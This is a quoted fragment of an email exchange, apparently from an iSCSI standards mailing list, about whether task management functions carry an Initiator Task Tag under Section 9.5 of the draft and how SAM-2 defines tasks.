> but
> > > it identifies the task to be aborted by an Initiator Task Tag, something
> > > that Task Management Functions *do not* have - see Section
> > > 9.5 of the iSCSI draft.
> >
> > I am looking at Section 9.5.  I see "Initiator Task Tag" in the table
> > showing the PDU format, although it is not mentioned in the
> > text.  Another typo?
>
> My mistake - I think we have some text cleanup to do, as SAM-2 definitely
> considers task management functions not to be tasks, thus avoiding issues
> of what happens when a task management function is applied to a task
> management function - I believe iSCSI needs to follow this route.  Julian?
>
> Thanks,
> --David
> ---------------------------------------------------
> David L. Black, Senior Technologist
> EMC Corporation, 42 South St., Hopkinton, MA  01748
> +1 (508) 249-6449            FAX: +1 (508) 497-8018
> black_david@emc.com       Mobile: +1 (978) 394-7754
> ---------------------------------------------------
>



--=_alternative 001DE733C2256C26_=--